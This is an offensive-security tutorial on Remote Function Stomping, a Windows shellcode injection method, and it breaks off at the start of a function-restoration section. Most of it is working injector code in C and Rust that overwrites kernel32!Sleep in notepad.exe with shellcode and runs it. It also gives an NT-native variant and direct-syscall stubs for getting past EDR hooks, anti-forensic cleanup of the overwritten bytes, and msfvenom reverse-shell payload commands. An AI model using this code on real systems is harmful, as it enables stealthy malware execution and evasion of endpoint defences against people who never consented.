Legend:
[STOMP]= Core stomping step |[OPSEC]= Operational Security note |[DETECT]= Detection vector |[EVASION]= Bypass technique |[TOOL]= Tool reference |[VARIANT]= Technique variant
1. What Is Remote Function Stomping?
What it means: Remote Function Stomping is a shellcode injection technique where an attacker overwrites the machine code bytes of a legitimate, exported function in a remote (target) process with shellcode. Instead of allocating new executable memory — which is a major EDR red flag — the shellcode is written into an existing, already-mapped, already-executable code region (the body of a real DLL function).
Classic Injection: Function Stomping:
───────────────── ─────────────────
VirtualAllocEx → NEW RWX memory No new allocation at all
WriteProcessMemory → write shellcode WriteProcessMemory → overwrite existing
CreateRemoteThread → run shellcode CreateRemoteThread → call stomped function
EDR sees: EDR sees:
❌ New RWX allocation in remote ✅ Existing R-X .text page (normal)
❌ WriteProcessMemory + Thread ⚠ VirtualProtectEx → WriteProcessMemory
❌ Thread pointing at unknown addr ✅ Thread points at legit DLL export
The insight: Because DLLs (e.g. kernel32.dll, ntdll.dll, user32.dll) are loaded at the same virtual address in all processes using ASLR with shared base randomization, an attacker can:
1. Find the function's address in their own process (GetProcAddress)
2. Calculate the offset
3. Re-resolve it in the target process using module enumeration
4. Overwrite those bytes with shellcode
[OPSEC] The target process continues operating normally — only the stomped function is corrupted. All other exports from the same DLL remain intact and callable.
2. How It Differs From Related Techniques
| Technique | Memory Allocated? | Where Code Lives | Trigger | Noise Level |
|---|---|---|---|---|
| Classic Injection | Yes (VirtualAllocEx) | New private RWX page | CreateRemoteThread | Very High |
| Module Stomping | No (loads DLL) | Entire DLL EntryPoint overwritten | New Thread to EntryPoint | Medium |
| Remote Function Stomping | No | Existing exported function body | Call the function / New Thread | Low |
| Thread Hijacking | Yes (usually) | New allocation | SuspendThread + SetContext | High |
| APC Injection | Yes | New allocation | QueueUserAPC | Medium |
| Mapping Injection | Yes (NtMapViewOfSection) | New mapped section | Thread/APC | Medium |
Key advantages of Remote Function Stomping:
✅ No VirtualAllocEx → no "new executable region" alert
✅ Shellcode lives inside a legitimate DLL's .text section
✅ CreateRemoteThread start address points at a real DLL export
✅ Target process continues using all other DLL functions
✅ Memory appears backed by a real on-disk module (SharedOriginal)
✅ Hollows-hunter (common post-exploitation detection tool) doesn't detect it
Disadvantages:
❌ Requires target DLL to already be loaded in the target process
❌ Corrupts the stomped function — crashes if it is called after stomp
❌ VirtualProtectEx call is still noisy (monitored by EDR)
❌ WriteProcessMemory on an existing module triggers "modified code" scanners
❌ Not every function works — function must be large enough to hold shellcode
3. MITRE ATT&CK Mapping
Tactic: Defense Evasion + Privilege Escalation
Technique: T1055 — Process Injection
Sub-technique: T1055.012 — Process Hollowing (closest applicable sub-technique)
(Function Stomping as a named sub-technique is not yet its own MITRE ID)
Related:
T1055.001 — DLL Injection
T1055.002 — Portable Executable Injection
T1055.012 — Process Hollowing (module-level stomping variant)
Defense Bypassed:
✅ Anti-virus (static + basic behavioral)
✅ Application control
✅ Signature-based detection
✅ Memory allocation monitoring (no VirtualAllocEx)
4. Core Attack Flow
[INJECTOR PROCESS] [TARGET PROCESS]
────────────────── ────────────────
1. Find target PID
└─ CreateToolhelp32Snapshot
Process32First/Next
2. Open target process
└─ OpenProcess(PROCESS_ALL_ACCESS, pid)
3. Find stomped function address locally
└─ GetModuleHandleA("target.dll")
GetProcAddress(hMod, "FunctionName")
Calculate: funcOffset = funcAddr - moduleBase
4. Find DLL base in REMOTE process
└─ CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pid)
Module32First / Module32Next
→ MODULEENTRY32.modBaseAddr = remote DLL base
5. Calculate remote function address
└─ remoteFuncAddr = remoteModuleBase + funcOffset
6. Change memory permission
└─ VirtualProtectEx(hProc, remoteFuncAddr,
shellcodeLen, PAGE_READWRITE,
&oldProtect)
7. Write shellcode over function body
└─ WriteProcessMemory(hProc, remoteFuncAddr,
shellcode, shellcodeLen, NULL)
8. Restore memory permission
└─ VirtualProtectEx(hProc, remoteFuncAddr,
shellcodeLen, PAGE_EXECUTE_READ,
&oldProtect)
9. Execute shellcode
└─ Option A: CreateRemoteThread(hProc, remoteFuncAddr)
Option B: Trigger existing code path that calls the function
Option C: Hijack a thread's RIP to point at remoteFuncAddr
10. [Optional] Restore original bytes (anti-forensic)
└─ Store original bytes before step 7
WriteProcessMemory after execution to restore
5. Pre-Requisites & Choosing the Target Function
5.1 DLL Must Be Loaded in Target Process
[STOMP] The stomped DLL must already be loaded in the target process. You cannot stomp a function in a DLL that isn't there.
# Check which DLLs a process has loaded (ProcessHacker / Sysinternals)
# Use Process Hacker → right-click process → Properties → Modules tab
# PowerShell: list loaded modules of a process
Get-Process notepad | Select-Object -ExpandProperty Modules | Select-Object ModuleName, BaseAddress
# Using listdlls from Sysinternals
listdlls.exe -d notepad.exe
// Programmatic: check if DLL is loaded in target process
#include <tlhelp32.h>
BOOL IsDllLoadedInProcess(DWORD pid, const char* dllName) {
HANDLE hSnap = CreateToolhelp32Snapshot(
TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, pid);
if (hSnap == INVALID_HANDLE_VALUE) return FALSE;
MODULEENTRY32 me = { sizeof(MODULEENTRY32) };
BOOL found = FALSE;
if (Module32First(hSnap, &me)) {
do {
if (_stricmp(me.szModule, dllName) == 0) {
found = TRUE;
break;
}
} while (Module32Next(hSnap, &me));
}
CloseHandle(hSnap);
return found;
}
5.2 Choosing a Good Target Function
Good stomping targets:
DLL | Function | Why
───────────────────────────────────────────────────────────────────────
kernel32.dll | Sleep | Almost always loaded, large enough
kernel32.dll | FlsGetValue | Rarely called, large body
kernel32.dll | EncodePointer | Exists in all processes
ntdll.dll | RtlDecompressBuffer | Rarely called in normal apps
user32.dll | MessageBeep | Often loaded, rarely called
user32.dll | CloseClipboard | Rarely invoked
ws2_32.dll | WSASetLastError | Loaded in network apps
amsi.dll | AmsiScanBuffer | AMSI bypass + stomp combo
ole32.dll | OleUninitialize | Loaded in Office processes
What to avoid stomping:
❌ Functions called frequently (printf, malloc, memcpy) → immediate crash
❌ Functions with body smaller than shellcode → overwrites adjacent functions
❌ ntdll.dll core functions (LdrLoadDll, etc.) → system-wide instability
❌ Functions with prologues checked by EDR hooks → hook detection fires
5.3 Verify Function Size (Must Be ≥ Shellcode Size)
#!/usr/bin/env python3
# check_func_size.py — Estimate function body size using disassembly
import pefile
import struct
def get_export_rva(dll_path: str, func_name: str) -> int:
"""Get RVA of an exported function from PE file."""
pe = pefile.PE(dll_path)
for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols:
if exp.name and exp.name.decode() == func_name:
return exp.address
return 0
# Example: check if Sleep is big enough for a 300-byte shellcode
# Use disassembler (e.g. Ghidra, x64dbg) to measure function body manually
# Rule of thumb: common kernel32 exports are 50-500 bytes
print("Use x64dbg or Ghidra to check function size before stomping")
print("In x64dbg: bp on function, then 'Scroll down to RET' to estimate size")
# x64dbg quick check:
# 1. bp kernel32.Sleep
# 2. Run target process
# 3. When bp hits, scroll in disasm to find RET instruction
# 4. Calculate: RET_addr - func_start = function body size
# 5. Your shellcode must be <= this size
6. Step-by-Step: Classic C++ Implementation
Step 1 — Get Target Process PID
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
// Find PID of target process by name
DWORD GetProcessPID(const char* procName) {
DWORD pid = 0;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnap == INVALID_HANDLE_VALUE) return 0;
PROCESSENTRY32 pe = { sizeof(PROCESSENTRY32) };
if (Process32First(hSnap, &pe)) {
do {
if (_stricmp(pe.szExeFile, procName) == 0) {
pid = pe.th32ProcessID;
break;
}
} while (Process32Next(hSnap, &pe));
}
CloseHandle(hSnap);
printf("[*] Found process '%s' with PID: %lu\n", procName, pid);
return pid;
}
Step 2 — Open Handle to Target Process
// Open with all-access for injection
// [OPSEC] In production: request minimal permissions
// PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ
// | PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD
HANDLE OpenTargetProcess(DWORD pid) {
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!hProc) {
printf("[-] OpenProcess failed: %lu\n", GetLastError());
return NULL;
}
printf("[+] Opened process handle: 0x%p\n", hProc);
return hProc;
}
Step 3 — Resolve Function Address Locally, Then Remotely
// [STOMP] Key insight: DLLs load at the SAME base in all processes
// (due to ASLR with shared base), so the offset from module base to
// function is identical. We find the function locally, compute the offset,
// then re-apply it with the remote module's base address.
typedef struct {
LPVOID localBase;
LPVOID localFuncAddr;
SIZE_T funcOffset;
LPVOID remoteFuncAddr;
} FUNCTION_RESOLVE;
BOOL ResolveFunctionRemote(HANDLE hProc, DWORD pid,
const char* dllName, const char* funcName,
FUNCTION_RESOLVE* out) {
// Step A: Get local base of DLL (load it if not already loaded)
out->localBase = GetModuleHandleA(dllName);
if (!out->localBase) {
out->localBase = LoadLibraryA(dllName);
if (!out->localBase) {
printf("[-] LoadLibraryA(%s) failed: %lu\n", dllName, GetLastError());
return FALSE;
}
}
printf("[*] Local %s base: 0x%p\n", dllName, out->localBase);
// Step B: Get local function address
out->localFuncAddr = GetProcAddress((HMODULE)out->localBase, funcName);
if (!out->localFuncAddr) {
printf("[-] GetProcAddress(%s) failed: %lu\n", funcName, GetLastError());
return FALSE;
}
printf("[*] Local %s address: 0x%p\n", funcName, out->localFuncAddr);
// Step C: Calculate offset from module base to function
out->funcOffset = (SIZE_T)out->localFuncAddr - (SIZE_T)out->localBase;
printf("[*] Function offset from base: 0x%zx\n", out->funcOffset);
// Step D: Find DLL base in REMOTE process via module snapshot
HANDLE hSnap = CreateToolhelp32Snapshot(
TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, pid);
if (hSnap == INVALID_HANDLE_VALUE) {
printf("[-] CreateToolhelp32Snapshot failed: %lu\n", GetLastError());
return FALSE;
}
MODULEENTRY32 me = { sizeof(MODULEENTRY32) };
BOOL found = FALSE;
LPVOID remoteBase = NULL;
if (Module32First(hSnap, &me)) {
do {
if (_stricmp(me.szModule, dllName) == 0) {
remoteBase = (LPVOID)me.modBaseAddr;
found = TRUE;
printf("[*] Remote %s base in target: 0x%p\n", dllName, remoteBase);
break;
}
} while (Module32Next(hSnap, &me));
}
CloseHandle(hSnap);
if (!found) {
printf("[-] DLL '%s' not loaded in target process!\n", dllName);
printf(" Ensure the DLL is loaded before stomping.\n");
return FALSE;
}
// Step E: Remote function address = remote base + local offset
out->remoteFuncAddr = (LPVOID)((SIZE_T)remoteBase + out->funcOffset);
printf("[+] Remote function address: 0x%p\n", out->remoteFuncAddr);
return TRUE;
}
Step 4 — Change Memory Protection to Writable
// [STOMP] The .text section of a DLL is R-X (read + execute, not write).
// We must change it to PAGE_READWRITE to write shellcode,
// then restore to PAGE_EXECUTE_READ after writing.
BOOL ChangeProtection(HANDLE hProc, LPVOID addr, SIZE_T size,
DWORD newProtect, DWORD* oldProtect) {
BOOL result = VirtualProtectEx(hProc, addr, size, newProtect, oldProtect);
if (!result) {
printf("[-] VirtualProtectEx failed: %lu\n", GetLastError());
return FALSE;
}
printf("[*] Protection changed at 0x%p: old=0x%lx new=0x%lx\n",
addr, *oldProtect, newProtect);
return TRUE;
}
Step 5 — Write Shellcode Over Function Body
// [STOMP] Overwrite the function's machine code bytes with shellcode.
// The function's original prologue (push rbp, mov rbp rsp...) is destroyed.
BOOL WriteShelcodeToFunction(HANDLE hProc, LPVOID remoteFuncAddr,
const unsigned char* shellcode, SIZE_T shellcodeLen) {
SIZE_T bytesWritten = 0;
BOOL result = WriteProcessMemory(
hProc,
remoteFuncAddr,
shellcode,
shellcodeLen,
&bytesWritten
);
if (!result || bytesWritten != shellcodeLen) {
printf("[-] WriteProcessMemory failed: %lu (wrote %zu / %zu bytes)\n",
GetLastError(), bytesWritten, shellcodeLen);
return FALSE;
}
printf("[+] Wrote %zu bytes of shellcode to 0x%p\n",
bytesWritten, remoteFuncAddr);
return TRUE;
}
Step 6 — Trigger Execution
// [STOMP] Multiple ways to trigger the stomped function.
// Option A: CreateRemoteThread — start address = stomped function address
BOOL TriggerViaRemoteThread(HANDLE hProc, LPVOID remoteFuncAddr) {
HANDLE hThread = CreateRemoteThread(
hProc,
NULL,
0,
(LPTHREAD_START_ROUTINE)remoteFuncAddr,
NULL, // No argument (shellcode handles its own setup)
0,
NULL
);
if (!hThread) {
printf("[-] CreateRemoteThread failed: %lu\n", GetLastError());
return FALSE;
}
printf("[+] Remote thread created: handle 0x%p\n", hThread);
WaitForSingleObject(hThread, 5000); // Wait up to 5 seconds
CloseHandle(hThread);
return TRUE;
}
7. Full C++ Implementation (Win32 API)
// remote_function_stomping.c — Complete Remote Function Stomping Injector
// Targets: notepad.exe
// Stomps: kernel32.dll!Sleep
// Compile: cl.exe rfs.c /Fe:rfs.exe
// Or (MinGW): x86_64-w64-mingw32-gcc rfs.c -o rfs.exe
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
#include <string.h>
// ─── Configuration ───────────────────────────────────────────────────────────
// msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f raw > payload.bin
// Then XOR/AES encrypt and paste here (see Shellcode Encryption reference)
// Example: calc.exe shellcode (x64) — replace with actual payload
unsigned char shellcode[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00,
0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,
// ... rest of shellcode ...
};
SIZE_T shellcodeLen = sizeof(shellcode);
const char* TARGET_PROCESS = "notepad.exe";
const char* TARGET_DLL = "kernel32.dll";
const char* TARGET_FUNC = "Sleep"; // Function to stomp
// ─────────────────────────────────────────────────────────────────────────────
// ─── Save original bytes for restoration ─────────────────────────────────────
unsigned char originalBytes[4096]; // Max shellcode size
BOOL bytesSaved = FALSE;
// ─────────────────────────────────────────────────────────────────────────────
DWORD GetProcessPID(const char* procName) {
DWORD pid = 0;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnap == INVALID_HANDLE_VALUE) return 0;
PROCESSENTRY32 pe = { sizeof(PROCESSENTRY32) };
if (Process32First(hSnap, &pe)) {
do {
if (_stricmp(pe.szExeFile, procName) == 0) {
pid = pe.th32ProcessID;
break;
}
} while (Process32Next(hSnap, &pe));
}
CloseHandle(hSnap);
return pid;
}
LPVOID GetRemoteFunctionAddress(HANDLE hProc, DWORD pid,
const char* dllName, const char* funcName) {
// 1. Load DLL locally if needed
HMODULE hLocalMod = GetModuleHandleA(dllName);
if (!hLocalMod) hLocalMod = LoadLibraryA(dllName);
if (!hLocalMod) return NULL;
// 2. Get local function address
FARPROC localFunc = GetProcAddress(hLocalMod, funcName);
if (!localFunc) return NULL;
// 3. Compute offset from local module base
SIZE_T funcOffset = (SIZE_T)localFunc - (SIZE_T)hLocalMod;
// 4. Find DLL base in remote process
HANDLE hSnap = CreateToolhelp32Snapshot(
TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, pid);
if (hSnap == INVALID_HANDLE_VALUE) return NULL;
MODULEENTRY32 me = { sizeof(MODULEENTRY32) };
LPVOID remoteBase = NULL;
if (Module32First(hSnap, &me)) {
do {
if (_stricmp(me.szModule, dllName) == 0) {
remoteBase = (LPVOID)me.modBaseAddr;
break;
}
} while (Module32Next(hSnap, &me));
}
CloseHandle(hSnap);
if (!remoteBase) return NULL;
// 5. Remote address = remote base + same offset
return (LPVOID)((SIZE_T)remoteBase + funcOffset);
}
int main(void) {
printf("=== Remote Function Stomping Injection ===\n\n");
// 1. Find target PID
DWORD pid = GetProcessPID(TARGET_PROCESS);
if (!pid) {
printf("[-] Process '%s' not found. Launch it first.\n", TARGET_PROCESS);
return 1;
}
printf("[+] Target: %s (PID: %lu)\n", TARGET_PROCESS, pid);
// 2. Open target process
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!hProc) {
printf("[-] OpenProcess failed: %lu\n", GetLastError());
return 1;
}
printf("[+] Process handle: 0x%p\n", hProc);
// 3. Resolve remote function address
LPVOID remoteFuncAddr = GetRemoteFunctionAddress(
hProc, pid, TARGET_DLL, TARGET_FUNC);
if (!remoteFuncAddr) {
printf("[-] Failed to resolve %s!%s in remote process\n",
TARGET_DLL, TARGET_FUNC);
printf(" Is %s loaded in %s?\n", TARGET_DLL, TARGET_PROCESS);
CloseHandle(hProc);
return 1;
}
printf("[+] Remote %s!%s: 0x%p\n", TARGET_DLL, TARGET_FUNC, remoteFuncAddr);
// 4. Save original bytes BEFORE overwriting (for restoration)
SIZE_T bytesRead = 0;
if (ReadProcessMemory(hProc, remoteFuncAddr, originalBytes, shellcodeLen, &bytesRead)) {
bytesSaved = TRUE;
printf("[*] Saved %zu original bytes from function\n", bytesRead);
}
// 5. Change protection: R-X → RW (temporarily writable)
DWORD oldProtect = 0;
if (!VirtualProtectEx(hProc, remoteFuncAddr, shellcodeLen,
PAGE_READWRITE, &oldProtect)) {
printf("[-] VirtualProtectEx (→RW) failed: %lu\n", GetLastError());
CloseHandle(hProc);
return 1;
}
printf("[*] Protection changed to PAGE_READWRITE\n");
// 6. Write shellcode over function body
SIZE_T bytesWritten = 0;
if (!WriteProcessMemory(hProc, remoteFuncAddr, shellcode, shellcodeLen, &bytesWritten)) {
printf("[-] WriteProcessMemory failed: %lu\n", GetLastError());
// Restore protection before exit
VirtualProtectEx(hProc, remoteFuncAddr, shellcodeLen, oldProtect, &oldProtect);
CloseHandle(hProc);
return 1;
}
printf("[+] Wrote %zu bytes of shellcode to %s!%s\n",
bytesWritten, TARGET_DLL, TARGET_FUNC);
// 7. Restore protection: RW → R-X (back to executable)
DWORD dummy = 0;
if (!VirtualProtectEx(hProc, remoteFuncAddr, shellcodeLen,
PAGE_EXECUTE_READ, &dummy)) {
printf("[-] VirtualProtectEx (→RX) failed: %lu\n", GetLastError());
}
printf("[*] Protection restored to PAGE_EXECUTE_READ\n");
// 8. Trigger execution via remote thread
HANDLE hThread = CreateRemoteThread(
hProc, NULL, 0,
(LPTHREAD_START_ROUTINE)remoteFuncAddr,
NULL, 0, NULL
);
if (!hThread) {
printf("[-] CreateRemoteThread failed: %lu\n", GetLastError());
CloseHandle(hProc);
return 1;
}
printf("[+] Remote thread created: handle 0x%p\n", hThread);
printf("[+] Shellcode executing in %s (PID %lu)...\n", TARGET_PROCESS, pid);
WaitForSingleObject(hThread, 10000); // Wait up to 10 seconds
CloseHandle(hThread);
CloseHandle(hProc);
printf("[+] Done.\n");
return 0;
}
Compile commands:
# MSVC (Windows)
cl.exe rfs.c /Fe:rfs.exe
# MinGW cross-compile (Linux → Windows binary)
x86_64-w64-mingw32-gcc rfs.c -o rfs.exe
# With debug symbols (for debugging)
cl.exe rfs.c /Fe:rfs.exe /Zi /DEBUG
8. NT-Level Variant (NtProtectVirtualMemory + NtWriteVirtualMemory)
[EVASION] Using NT-level functions (ntdll.dll native APIs) instead of Win32 wrappers bypasses EDR hooks placed on higher-level APIs. This is the approach used by advanced loaders like HijackLoader.
// nt_function_stomping.c — Stomping using native NT APIs
// Bypasses EDR hooks on VirtualProtectEx and WriteProcessMemory
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
// ─── Native API type definitions ─────────────────────────────────────────────
typedef LONG NTSTATUS;
#define NT_SUCCESS(status) ((status) >= 0)
typedef NTSTATUS (NTAPI *pNtWriteVirtualMemory)(
HANDLE ProcessHandle,
PVOID BaseAddress,
PVOID Buffer,
SIZE_T NumberOfBytesToWrite,
PSIZE_T NumberOfBytesWritten
);
typedef NTSTATUS (NTAPI *pNtProtectVirtualMemory)(
HANDLE ProcessHandle,
PVOID* BaseAddress,
PSIZE_T RegionSize,
ULONG NewProtect,
PULONG OldProtect
);
typedef NTSTATUS (NTAPI *pNtReadVirtualMemory)(
HANDLE ProcessHandle,
PVOID BaseAddress,
PVOID Buffer,
SIZE_T NumberOfBytesToRead,
PSIZE_T NumberOfBytesRead
);
// ─── Resolve NT functions ─────────────────────────────────────────────────────
pNtWriteVirtualMemory NtWriteVirtualMemory = NULL;
pNtProtectVirtualMemory NtProtectVirtualMemory = NULL;
pNtReadVirtualMemory NtReadVirtualMemory = NULL;
BOOL ResolveNtFunctions(void) {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
if (!hNtdll) return FALSE;
NtWriteVirtualMemory = (pNtWriteVirtualMemory)
GetProcAddress(hNtdll, "NtWriteVirtualMemory");
NtProtectVirtualMemory = (pNtProtectVirtualMemory)
GetProcAddress(hNtdll, "NtProtectVirtualMemory");
NtReadVirtualMemory = (pNtReadVirtualMemory)
GetProcAddress(hNtdll, "NtReadVirtualMemory");
return (NtWriteVirtualMemory && NtProtectVirtualMemory && NtReadVirtualMemory);
}
// ─────────────────────────────────────────────────────────────────────────────
BOOL NtFunctionStomp(HANDLE hProc, LPVOID remoteFuncAddr,
const unsigned char* shellcode, SIZE_T shellcodeLen) {
NTSTATUS status;
PVOID protectAddr = remoteFuncAddr;
SIZE_T protectSize = shellcodeLen;
ULONG oldProtect = 0;
// Step 1: Save original bytes
unsigned char savedBytes[4096] = {0};
SIZE_T bytesRead = 0;
status = NtReadVirtualMemory(hProc, remoteFuncAddr,
savedBytes, shellcodeLen, &bytesRead);
if (!NT_SUCCESS(status)) {
printf("[-] NtReadVirtualMemory failed: 0x%lx\n", status);
return FALSE;
}
printf("[*] Saved %zu bytes from remote function (backup)\n", bytesRead);
// Step 2: Change protection → PAGE_READWRITE (0x04)
status = NtProtectVirtualMemory(hProc, &protectAddr, &protectSize,
PAGE_READWRITE, &oldProtect);
if (!NT_SUCCESS(status)) {
printf("[-] NtProtectVirtualMemory (→RW) failed: 0x%lx\n", status);
return FALSE;
}
printf("[*] NtProtectVirtualMemory: old=0x%lx → PAGE_READWRITE\n", oldProtect);
// Step 3: Write shellcode via NtWriteVirtualMemory
SIZE_T bytesWritten = 0;
status = NtWriteVirtualMemory(hProc, remoteFuncAddr,
(PVOID)shellcode, shellcodeLen, &bytesWritten);
if (!NT_SUCCESS(status)) {
printf("[-] NtWriteVirtualMemory failed: 0x%lx\n", status);
// Restore protection even on failure
NtProtectVirtualMemory(hProc, &protectAddr, &protectSize,
oldProtect, &oldProtect);
return FALSE;
}
printf("[+] NtWriteVirtualMemory: wrote %zu bytes\n", bytesWritten);
// Step 4: Restore protection → PAGE_EXECUTE_READ (0x20)
ULONG dummy = 0;
status = NtProtectVirtualMemory(hProc, &protectAddr, &protectSize,
PAGE_EXECUTE_READ, &dummy);
if (!NT_SUCCESS(status)) {
printf("[-] NtProtectVirtualMemory (→RX) failed: 0x%lx\n", status);
return FALSE;
}
printf("[*] NtProtectVirtualMemory: restored to PAGE_EXECUTE_READ\n");
return TRUE;
}
int main(void) {
if (!ResolveNtFunctions()) {
printf("[-] Failed to resolve NT functions from ntdll\n");
return 1;
}
printf("[+] NT functions resolved\n");
// ... (same PID finding, OpenProcess, and address resolution as §7) ...
// After obtaining hProc and remoteFuncAddr:
// NtFunctionStomp(hProc, remoteFuncAddr, shellcode, shellcodeLen);
return 0;
}
[OPSEC] For maximum stealth, use direct syscalls (Hell's Gate / Halo's Gate) to avoid even ntdll.dll function hooks:
; direct_syscall.asm — Direct syscall stubs (MASM / NASM syntax)
; Bypass EDR hooks entirely by jumping directly to kernel
; NtProtectVirtualMemory (SSN varies per Windows version — must resolve at runtime)
NtProtectVirtualMemory PROC
mov r10, rcx ; syscall calling convention
mov eax, [ssn_NtProtect] ; SSN resolved via Hell's Gate at runtime
syscall
ret
NtProtectVirtualMemory ENDP
NtWriteVirtualMemory PROC
mov r10, rcx
mov eax, [ssn_NtWrite] ; SSN resolved at runtime
syscall
ret
NtWriteVirtualMemory ENDP
9. Rust Implementation (RustRedOps-style)
// remote_function_stomping.rs
// Cargo.toml deps:
// [dependencies]
// windows-sys = { version = "0.52", features = ["Win32_Foundation",
// "Win32_System_Threading", "Win32_System_Memory",
// "Win32_System_LibraryLoader", "Win32_System_Diagnostics_ToolHelp",
// "Win32_System_Diagnostics_Debug"] }
use std::ffi::CString;
use windows_sys::Win32::{
Foundation::{CloseHandle, INVALID_HANDLE_VALUE},
System::{
Diagnostics::{
Debug::{ReadProcessMemory, WriteProcessMemory},
ToolHelp::{
CreateToolhelp32Snapshot, Module32First, Module32Next,
Process32First, Process32Next,
MODULEENTRY32, PROCESSENTRY32,
TH32CS_SNAPMODULE, TH32CS_SNAPMODULE32, TH32CS_SNAPPROCESS,
},
},
LibraryLoader::{GetModuleHandleA, GetProcAddress},
Memory::{
VirtualProtectEx,
PAGE_EXECUTE_READ, PAGE_READWRITE,
},
Threading::{
CreateRemoteThread, OpenProcess, WaitForSingleObject,
PROCESS_ALL_ACCESS,
},
},
};
// Shellcode — replace with actual payload
// msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=4444 -f rust
const SHELLCODE: [u8; 4] = [0x90, 0x90, 0x90, 0xc3]; // NOP NOP NOP RET (placeholder)
fn get_pid(proc_name: &str) -> Option<u32> {
let snap = unsafe {
CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
};
if snap == INVALID_HANDLE_VALUE { return None; }
let mut pe = PROCESSENTRY32 {
dwSize: std::mem::size_of::<PROCESSENTRY32>() as u32,
..unsafe { std::mem::zeroed() }
};
if unsafe { Process32First(snap, &mut pe) } != 0 {
loop {
let name = String::from_utf8_lossy(
pe.szExeFile.iter()
.take_while(|&&c| c != 0)
.map(|&c| c as u8)
.collect::<Vec<_>>()
.as_slice()
).to_lowercase();
if name == proc_name.to_lowercase() {
unsafe { CloseHandle(snap) };
return Some(pe.th32ProcessID);
}
if unsafe { Process32Next(snap, &mut pe) } == 0 { break; }
}
}
unsafe { CloseHandle(snap) };
None
}
fn get_remote_func_addr(pid: u32, dll_name: &str, func_name: &str) -> Option<*mut u8> {
// Get local module base
let dll_cstr = CString::new(dll_name).ok()?;
let func_cstr = CString::new(func_name).ok()?;
let local_base = unsafe { GetModuleHandleA(dll_cstr.as_ptr() as *const u8) };
if local_base == 0 { return None; }
// Get local function address
let local_func = unsafe {
GetProcAddress(local_base as _, func_cstr.as_ptr() as *const u8)?
};
// Calculate offset
let func_offset = local_func as usize - local_base as usize;
// Find remote DLL base via module snapshot
let snap = unsafe {
CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, pid)
};
if snap == INVALID_HANDLE_VALUE { return None; }
let mut me = MODULEENTRY32 {
dwSize: std::mem::size_of::<MODULEENTRY32>() as u32,
..unsafe { std::mem::zeroed() }
};
let mut remote_base: Option<usize> = None;
if unsafe { Module32First(snap, &mut me) } != 0 {
loop {
let mod_name = String::from_utf8_lossy(
me.szModule.iter()
.take_while(|&&c| c != 0)
.map(|&c| c as u8)
.collect::<Vec<_>>()
.as_slice()
).to_lowercase();
if mod_name == dll_name.to_lowercase() {
remote_base = Some(me.modBaseAddr as usize);
break;
}
if unsafe { Module32Next(snap, &mut me) } == 0 { break; }
}
}
unsafe { CloseHandle(snap) };
// Remote address = remote base + local offset
remote_base.map(|base| (base + func_offset) as *mut u8)
}
fn main() {
let target_proc = "notepad.exe";
let target_dll = "kernel32.dll";
let target_func = "Sleep";
println!("[*] Remote Function Stomping → {} :: {}", target_dll, target_func);
let pid = match get_pid(target_proc) {
Some(p) => { println!("[+] Found '{}' PID: {}", target_proc, p); p }
None => { eprintln!("[-] Process '{}' not found", target_proc); return; }
};
let hproc = unsafe { OpenProcess(PROCESS_ALL_ACCESS, 0, pid) };
if hproc == 0 { eprintln!("[-] OpenProcess failed"); return; }
let remote_func = match get_remote_func_addr(pid, target_dll, target_func) {
Some(addr) => { println!("[+] Remote {}: {:p}", target_func, addr); addr }
None => { eprintln!("[-] Could not resolve remote function"); return; }
};
let sc_len = SHELLCODE.len();
// Save original bytes
let mut original = vec![0u8; sc_len];
let mut bytes_read: usize = 0;
unsafe {
ReadProcessMemory(hproc, remote_func as _, original.as_mut_ptr() as _, sc_len, &mut bytes_read);
}
println!("[*] Saved {} original bytes", bytes_read);
// Change protection → PAGE_READWRITE
let mut old_protect: u32 = 0;
let protect_ok = unsafe {
VirtualProtectEx(hproc, remote_func as _, sc_len, PAGE_READWRITE, &mut old_protect)
};
if protect_ok == 0 { eprintln!("[-] VirtualProtectEx (→RW) failed"); return; }
println!("[*] Protection → PAGE_READWRITE (old: 0x{:x})", old_protect);
// Write shellcode
let mut bytes_written: usize = 0;
let write_ok = unsafe {
WriteProcessMemory(
hproc, remote_func as _,
SHELLCODE.as_ptr() as _,
sc_len, &mut bytes_written,
)
};
if write_ok == 0 { eprintln!("[-] WriteProcessMemory failed"); return; }
println!("[+] Wrote {} bytes of shellcode", bytes_written);
// Restore protection → PAGE_EXECUTE_READ
let mut dummy: u32 = 0;
unsafe {
VirtualProtectEx(hproc, remote_func as _, sc_len, PAGE_EXECUTE_READ, &mut dummy);
}
println!("[*] Protection → PAGE_EXECUTE_READ");
// Trigger via remote thread
let hthread = unsafe {
CreateRemoteThread(
hproc, std::ptr::null(), 0,
Some(std::mem::transmute(remote_func)),
std::ptr::null(), 0, std::ptr::null_mut(),
)
};
if hthread == 0 {
eprintln!("[-] CreateRemoteThread failed");
} else {
println!("[+] Remote thread created, waiting...");
unsafe { WaitForSingleObject(hthread, 10000) };
unsafe { CloseHandle(hthread) };
}
unsafe { CloseHandle(hproc) };
println!("[+] Done.");
}
# Build and run
cargo build --release
./target/release/rfs_injection.exe
# Or run directly
cargo run
10. Function Restoration (Stealthy Cleanup)
[OPSEC] Restoring the original function bytes after execution prevents forensic detection of the stomp. The memory scanner will see the original function code, and the module will appear unmodified.
// restore_function.c — Restore original bytes after shellcode executes
